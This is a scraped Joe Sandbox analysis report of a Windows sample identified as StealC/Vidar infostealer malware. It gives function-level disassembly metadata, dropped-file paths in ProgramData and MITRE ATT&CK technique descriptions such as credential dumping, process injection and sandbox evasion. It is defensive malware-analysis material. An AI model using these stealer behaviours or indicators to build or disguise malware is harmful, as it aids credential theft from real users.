Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: bb2ba694f2d0904197c17811d3087ef1d4f8071cb426b4b4897a1efc21763548
Instruction ID: b3967efd2fa175d51e08b065c3124384a3561d0d3899b57864e19ddaaa41f5db
Opcode Fuzzy Hash: bb2ba694f2d0904197c17811d3087ef1d4f8071cb426b4b4897a1efc21763548
Instruction Fuzzy Hash: 49F08770604251CADB1A8F2ADB89F9033F2AB47319F210E19C9040AA81D3756946CAAF

Function 6C606C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kcl,?,6C634B30,80000000,?,6C634AB7,?,6C5F43CF,?,6C5F42D2), ref: 6C606C42

Part of subcall function 6C60CA10: malloc.MOZGLUE(?), ref: 6C60CA26

moz_xmalloc.MOZGLUE(0Kcl,?,6C634B30,80000000,?,6C634AB7,?,6C5F43CF,?,6C5F42D2), ref: 6C606C58

Strings

0Kcl, xrefs: 6C606C33, 6C606C41, 6C606C57

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kcl
API String ID: 1967447596-2809417867
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 2a2afc2a9ea5e9cd0dc05f59da0f7059c75adf7a470bc7f77a360659ff1cafe9
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: ACE086F1B505055A9B0C997C9E0A56A72C89B153A87044A35EC23E6BC8FA94E5D0816E

Function 6C603850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C67F860), ref: 6C60385C
ReleaseSRWLockExclusive.KERNEL32(6C67F860,?), ref: 6C603871

Strings

,gl, xrefs: 6C60387A

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,gl
API String ID: 17069307-2366101372
Opcode ID: 559b8e3496612ae5bca25d6306e510ff67095af5ff254aed5cbf236d070f8192
Instruction ID: 24b891d54cdff3acf1b36bdc2206a1b95d95af661d2eaad4440b49d9263eb207
Opcode Fuzzy Hash: 559b8e3496612ae5bca25d6306e510ff67095af5ff254aed5cbf236d070f8192
Instruction Fuzzy Hash: 9DE0DF31A19A289B872A9F979545D8A3BB8FE437917044C55F42927A11D730D0408AFE

Function 6C60BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C60BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C60BEF5

Strings

cryptbase.dll, xrefs: 6C60BEF0

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: b5478b9462832c9bf082193f3073888290d0c568fbbd595b3ce4440e9144b27e
Instruction ID: bde5cf90a6e7b08173febbaa11c980b502006d19d98724cc45728873e42f9305
Opcode Fuzzy Hash: b5478b9462832c9bf082193f3073888290d0c568fbbd595b3ce4440e9144b27e
Instruction Fuzzy Hash: CBD023313C4208E7C709AB518D0DF69377497813A5F10C420F31554952C7F09413CF6C

Function 6C64B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B628

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C64B2C9,?,00000000,?,6C64B127,?,?,?,?,?,?,?,?,?,6C64AE52), ref: 6C64B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C64B127,?,?,?,?,?,?,?,?), ref: 6C64B74D

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8dcd24dc833db649096929021ceb599262ac5db911adf5ee92ed766146a5167d
Instruction ID: 639925f5e71829f1a687502708083c36fe715e52cd743d43863e141c3d1aeab9
Opcode Fuzzy Hash: 8dcd24dc833db649096929021ceb599262ac5db911adf5ee92ed766146a5167d
Instruction Fuzzy Hash: 7E51BF71A05A168FDB14CF18C9847AEB7B5FFC5308F55C52DC85AABB10DB31A804CBA9

Function 6C64DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C63FF2A), ref: 6C64DFFD

Part of subcall function 6C6490E0: free.MOZGLUE(00000000,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C6490FF
Part of subcall function 6C6490E0: free.MOZGLUE(?,00000000,00000000,?,6C64B6F6,?,?,?,?,?,6C64B127), ref: 6C649108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C63FF2A), ref: 6C64E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C63FF2A), ref: 6C64E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C63FF2A), ref: 6C64E0FE

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0017eafe5c40ac1e3266dfda4826a40f53f1df39f464279979b4579af67d7833
Instruction ID: df914ade6e40803085c813ff3cb4bf45ed6c4654add7276e551fa5f7c785dec8
Opcode Fuzzy Hash: 0017eafe5c40ac1e3266dfda4826a40f53f1df39f464279979b4579af67d7833
Instruction Fuzzy Hash: 7641E471604216CFEB14CF98C88035AB7B6AB45709F14C939D526DB740E732E914CBDA

Function 6C646E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C646EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C646EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C646F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C646F5C

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 0435e2144dcb32c2caac5c4a8d096ba227c30ca1066ce73e8d24587ca332f8ef
Instruction ID: aa2d8b5582d9b64729237693f140dbee15a7026ae36aec2578c4399e8cad8076
Opcode Fuzzy Hash: 0435e2144dcb32c2caac5c4a8d096ba227c30ca1066ce73e8d24587ca332f8ef
Instruction Fuzzy Hash: 2D31E371A1060A8FDB44CF2CC980AAE73FAEB85304F50C639D45AC7651EB32E659C7A4

Function 6C65B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C600A4D), ref: 6C65B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C600A4D), ref: 6C65B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C600A4D), ref: 6C65B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C600A4D), ref: 6C65B67F

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 076f0341def48c2856852323488a62df40f2416389f6e6b3ed81de3e98ec90ee
Instruction ID: c23b2672edeb622b8c6a9b748d6a43e3faaad7f54890abfe2f220f122e598986
Opcode Fuzzy Hash: 076f0341def48c2856852323488a62df40f2416389f6e6b3ed81de3e98ec90ee
Instruction Fuzzy Hash: 1331E671A012268FDB14CF59C88465EBBF5FFC1304FA68969C8069B381DB31E925CBE5

Function 6C62F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C62F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C62F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C62F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C62F668

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d88d0c45e0c69dde644ed4b5e6c6c90efef5522fb6d1d90c653d7cabbef341a8
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 7F316F71A00624AFCB14CF1ECCC0E9B77B5EB94354B188538FA4A9BB04D636E9448B99

Function 6C6426B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6426C1
free.MOZGLUE(?), ref: 6C6426E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6426FF
free.MOZGLUE ref: 6C64270D

Memory Dump Source

Source File: 00000000.00000002.2156938412.000000006C5F1000.00000020.00000001.01000000.00000010.sdmp, Offset: 6C5F0000, based on PE: true

Associated: 00000000.00000002.2156921257.000000006C5F0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2156986978.000000006C66D000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157009669.000000006C67E000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000000.00000002.2157027686.000000006C682000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5f0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bf16d9187f49f53a42b334f696d146f08f7b52ea539854f7b31d3246b060455f
Instruction ID: 13c31a334c50f1af691b0acc2cd82d4188c51f604d78f7e48d683685b78cfcc5
Opcode Fuzzy Hash: bf16d9187f49f53a42b334f696d146f08f7b52ea539854f7b31d3246b060455f
Instruction Fuzzy Hash: 9BF0F9B2B012006BE7009A19D8C895BB7A9EF4135DB308035EA16C3B01E332F919C7AD

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAKEGDAKEHJDHIDHJJDA

C:\ProgramData\AEGDBAFHJJDAKEBGCFCB

C:\ProgramData\EBGIEGCF

C:\ProgramData\GCBGIIECGHCAKECAFBFHIJKEBK

C:\ProgramData\HCAEBFBKKJDHIDHIDBAEHCGIEH

C:\ProgramData\IEHIIIJDAAAAAAKECBFB

C:\ProgramData\JDGIIDHJ

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Function 6C5F35A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Function 6C60C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Function 6C5F3060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Function 6C605477 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 575
threadtimeCOMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre